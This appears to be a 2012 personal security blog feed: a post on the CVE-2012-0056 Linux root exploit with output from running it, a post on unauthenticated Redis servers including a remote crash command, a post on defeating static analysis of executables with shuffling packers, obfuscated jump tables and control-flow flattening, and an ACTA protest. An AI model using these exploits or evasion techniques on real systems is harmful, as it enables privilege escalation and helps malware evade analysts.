Linux local kernel privilege escalation to root

A new vulnerability (CVE-2012-0056) that affects almost 650 different builds of the Linux kernel builds allows effortless privilege escalation to root. It works by forking child processes to trick the self_exec_id check on /proc/pid/mem access, allowing the code to modify its own SUID and gain root.

CVE-2012-0056 $ ./mempodipper 
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami

My own research shows that it also affects certain 3.0.0 kernels, so I’m not sure why that’s been omitted from listings. I’ll take more of a detailed look into the scope of the problem today, and update this post with the results.

The security researcher zx2c4 has released a technical description of the bug, as well as an exploit.

Update (2012-01-27 09:23): Yup, definitely vulnerable on 3.0.0:

gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ uname -a
Linux ubuntu 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ id
uid=1000(gsutherland) gid=1000(gsutherland) groups=1000(gsutherland),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)
gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ ./mempodipper
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049570.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4594/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049564.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(gsutherland)
# whoami

Redis security

I was dubious at first, but I really have grown to like Redis. It’s a wonderfully simple solution to the problem of high-performance fast-changing data storage. However, its simplicity (combined with the incompetency of certain users) can easily become a detriment to security.

The Redis protocol is a simple plain-text mechanism, offering no transport layer security. This is a problem in itself, but it gets worse. By default, it listens on all available IP addresses on port 6379, with no authentication required at all. So, as you might imagine, quite a few of these servers end up facing the internet. So, I decided to see if I could find any. I wrote up a quick script to scan random /24 ranges for Redis installations, and was amazed at the result. From a single day’s scanning, I found 48 open servers. What’s worse, two of them are major household-name websites – both of which were using Redis to store their page content. Obviously both of these companies have been contacted.

It gets even worse, though. Redis allows you to send a DEBUG SEGFAULT command, which purposefully crashes the server. This means you can take down any Redis installation remotely. Nasty stuff.

Example from a server in the wild:


So, the bottom line is to keep your Redis server secure!

  • Add a passphrase to your configuration.
  • Use a firewall to block all connections to port 6379, except from trusted IPs.
  • If you must operate in an untrusted zone, enforce IP-layer security (e.g. ipsec).
  • Patch Redis to only bind to a single IP address (or support the votes for this to happen on the Redis github site)

Keep to the above, and you should be ok!

Update: The creator of Redis, antirez, responded to this post, informing me that you can in fact make Redis bind to a single IP in redis.conf. I’d like to clarify my point on the security of Redis – it is designed to be lightweight and provide only minimal security, so this problem is not a flaw of Redis itself. Instead, it’s a flaw of how people are using (or abusing) Redis. The current ethos is that you should always apply network security to your NoSQL systems – if you don’t, it’ll end in tears.

Preventing executable analysis – Part 1, Static Analysis

In this series of posts, I’m going to discuss executable analysis, the methods that are used and mechanisms to prevent them. There are three types of analysis that can be performed on executables:

  • Static – Analysis of the sample file on disk.
  • Emulated – Branch and stack analysis of the sample through an emulator.
  • Live – Analysis of the executing sample on a VM, usually using hooks.

I’m going to look at each type in detail, giving examples of techniques used in each and ways to make analysis difficult.

In this first post, I’ll look at static analysis. This type of analysis involves parsing the executable and disassembling the code and data contained within it, without ever running it. The benefit of this is that it’s safe, since it’s impossible for the code to cause any damage. The downside is that static analysis can’t really make assumptions about high-level behaviours.

Entry Point Check
The first method used to perform static analysis is simple header checks. If the entry point (EP) of the executable resides outside of a section marked as code, it is safe to assume that the application isn’t “normal”. In order to prevent recognising this from being a simple task, the executable should have its BaseOfCode header pointing at the same section the EP is in, even when packed.

Executables are often packed – i.e. their code is encrypted in some way. We can analyse this using entropy calculations on each section, to discover how “random” the data looks. It’s often tempting for authors to try to create a good cipher for encrypting packed sections, but this often leads to a few problems. Firstly, entropy calculations will very quickly spot sections that look too random to be normal code or data. Secondly, there are many applications out there that will look for sequences of data and instructions that match known cryptographic algorithms. It’s relatively easy to spot magic numbers and S-box arrays

In order to prevent this, a packing algorithm should be used that preserves the statistical signature of the original data. A good way to do this is to flip only the lowest two bits of each byte, or to simply shuffle the data rather than encrypting it with xor or a similar operation. By definition, a sample of data will have the same Shannon entropy regardless of how much you shuffle it. The usual way that analysis tools work is to split each section into blocks and compute an entropy graph across the file. By using a cipher that only shuffles bytes that are close, you can achieve an almost identical entropy graph:

Entropy Graph

Since instructions are multi-byte, shuffling completely destroys the code, making it impossible to read. It’s relatively simple to perform half-decent shuffling, given a reasonably large key:

for each byte k in key
	tmp = data[0]
	data[0] = data[k]
	data[k] = tmp

Simply loop the above over a sequence of data, you’ll get reasonable shuffling within each 256-byte block. OllyDbg doesn’t recognise this as packed, since it works on counts of particularly common bytes in code sections.

Jump Tables
Static analysis tools such as IDA Pro work by mapping sequences of jumps together. Some enhance this by performing heuristic analysis of jumps, for example turning jmp [file.exe+0x420c0] into an assumed jump based on the data at file offset 0x420c0. We can try to defeat this type of analysis by using jump tables. These are pointer tables generated at runtime, which are encrypted or obfuscated on disk. Jumps in the code are done by pointing to offsets in the jump table. Often this is further obfuscated by using jumps to register pointers, or stack jumps:

; ecx = function ID
mov eax, [ptrToTable+ecx*4] ; load the encrypted pointer into eax
xor eax, [ptrToKey+ecx*4]   ; xor with the key
push eax                    ; push address to stack
ret                         ; return (jump) to it, obfuscates the jump

Obviously there’s more we can do here – better encryption, values generated at runtime, more obfuscation, etc.

Control Flow Obfuscation
Some analysis tools focus on artifacts of compilers – i.e. the signatures of how common high level language constructs translate into assembly language. For example, some loops may be translated into a dec/jg loop, whereas some others might use rep mov. It all depends on the high level construct in use. By altering these constructs and using them in situations where they are unusual, this can confuse heuristics. One example for short loops is using a switch:

for(int i=0; i<5; i++)
	if(i%2==0) printf("%i is even\n", i);
	else printf("%i is odd\n", i);
	if(i==4) printf("done");

We can turn this into a switch statement that flattens out the flow, instead of being an obvious loop:

for(int i=0; i<5; i++)
		case 0: printf("%i is even\n", i); break;
		case 1: printf("%i is odd\n", i); break;
		case 2: printf("%i is even\n", i); break;
		case 3: printf("%i is odd\n", i); break;
		case 4: printf("%i is even\n", i); printf("done"); break;

Since this uses a switch, we can use a jump table that is easy to obfuscate.

There are many ways to break static analysis, some of which are simple, some of which are more complex. By employing these, it makes it very difficult for any analyst to decode and understand. Such methods can also prevent automated tools from performing in-depth analysis of the code. Understanding these methods helps both implement them and circumvent them. In the next part, I’ll be looking at virtualised and emulated analysis, which uses virtual hardware to analyse and fingerprint software without actually executing the real application code live on a hardware processor.

Further Reading

ACTA – European SOPA tries to violate worldwide rights.

It would be silly of me to tell you what Anti-Counterfeiting Trade Agreement (ACTA) is about, because you can’t miss it right now. The internet is abuzz with protest about SOPA, PIPA and ACTA right now, with good reason. SOPA and PIPA were recently defeated after mass outcry from people all across the world, and it’s time to do the same for ACTA.

Why you should care:

  • The ACTA bill was drafted and negotiated in secret, violating the principles of a transparent leadership.
  • It gives governments the right to perform invasive searches of your person or property without probable cause or warrant.
  • It forces ISPs to maintain logs of your assigned IP addresses and perform deep packet inspection on your traffic.
  • It breaches numerous communications privacy rights.
  • It is written in vague legal terms, allowing for twisting the rules to fit individual agendas.

So, if you feel the same as I do, and want to help prevent ACTA from becoming law, click the image below to act against ACTA. Update: Please sign this petition too: Just say no to ACTA.

Act Against ACTA.